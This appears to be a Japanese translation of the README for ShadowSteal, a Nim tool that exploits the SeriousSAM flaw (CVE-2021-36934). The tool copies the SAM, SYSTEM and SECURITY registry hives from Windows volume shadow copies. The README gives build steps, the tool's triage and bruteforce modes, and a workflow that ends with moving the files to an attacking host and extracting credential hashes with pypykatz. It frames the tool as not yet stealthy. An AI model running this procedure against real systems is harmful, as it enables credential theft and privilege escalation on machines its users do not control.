
CVE-2021-36934、SeriousSAM ローカル特権昇格を悪用するための純粋な Nim 実装
CVE-2021-36934(SeriousSAM ローカル特権昇格 (LPE))を悪用するための純粋な Nim 実装。OPSEC セーフではありません... まだね ;)。このエクスプロイトの発見の功績は私にはありません。
Docker のおかげで、ShadowSteal を始めるのがかつてないほど簡単になりました!Nim の依存関係をインストールするのが面倒ですか?大丈夫、任せてください!Python スクリプトを実行して Docker ビルド環境を作成し、バイナリをコンパイルしてホストに転送し、コンテナを停止します。
ホストに Docker をインストールし(OS ごとのインストール方法はドキュメントを参照)、メインディレクトリで ShadowSteal Python スクリプトを実行します:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
または、Nim とその依存関係をインストールしてソースからビルドします:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
MinGW ツールチェーンがまだインストールされていない場合はインストールします。
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
ターゲットに転送...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
Microsoft によるある見落としのため、最近の Windows ビルドでは通常のユーザーが ...\System32\config\ フォルダの内容に対して読み取り権限を持っています。これにより、低権限ユーザーが ...\System32\config 内の SAM、System、Security ファイルを読み取れることを意味します。

うわっ。これで何ができるのでしょうか?
非常に観察力のある研究者 (@jonasLyk に shout out!) は、Windows ホストが特定のシステム復元構成「ボリューム シャドウ コピー」を使用している場合、これらのファイルのバックアップコピーが保存され、Win32 デバイス名前空間を介してアクセス可能になることに気づきました。


SAM は通常、ホストの動作中はロックされているため、...\System32\config\ 内の SAM にアクセスすることは不可能です。しかし、これらのシャドウ ボリューム コピーは、この設定ミスのおかげでホスト上の任意のユーザーがアクセス可能です。すばらしい!
ShadowSteal は Nim で書かれたバイナリで、これらのシャドウ コピーから SAM、System、Security ファイルの列挙と持ち出しを自動化します。シャドウ コピーの可能な場所を反復処理し、ターゲットを見つけると、ファイルを zip 形式のディレクトリに抽出します(Bloodhound の出力をイメージ)。


画期的なものではなく、コードはハック的ですが、動作しますし、楽しいビルドでした!
Nim のインストール:
$ sudo apt-get install nim
依存関係のインストール:
$ nimble install zippy argparse winim
MinGW ツールチェーンがまだインストールされていない場合はインストール:
$ sudo apt-get install mingw-w64
64 ビット Windows 用にコンパイル:
$ make
ターゲットに転送して実行!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Triage mode. Quick enumeration, tries to find quick wins.
-bf, --bruteforce [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
-b, --bezos [?] Jeff Bezos Mode
場所のブルートフォースを 10 から 1 に制限し、試行ごとにデクリメントします。ほとんどの環境で高速かつ効果的です。
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
可能なすべての場所 (512) を検索し、1 までデクリメントします。環境を徹底的に列挙するにはこれを試してください。数分かかります。
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
出力ディレクトリを攻撃ホストに転送し、Pypykatz でデータを抽出します。インストール:
$ pip3 install pypykatz
Pypykatz の実行:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

簡単なプリパッケージ Docker ビルド環境を搭載!ShadowSteal.py スクリプトを実行するだけで、Docker 環境をセットアップし、バイナリをコンパイルし、ホストに転送し、ビルドコンテナを停止します。うまくいきます!(一部組み立てが必要、つまり実行には Docker が必要です)。
スリムで強力。最適化されたコンパイルオプションを追加。コンパイラ最適化によりパフォーマンスが大幅に向上し、完全なブルートフォースがほぼ瞬時に行われるようになりました。疑似 PR をくれた @orbitalgun に心から感謝します。あなたの家と名前に栄光あれ!
さあ乗れよ、この大惨事が動き出す。このリリースは私の迅速なプロトタイプで、かなりひどかった lol。でも作るのはとても楽しかった! 機能:
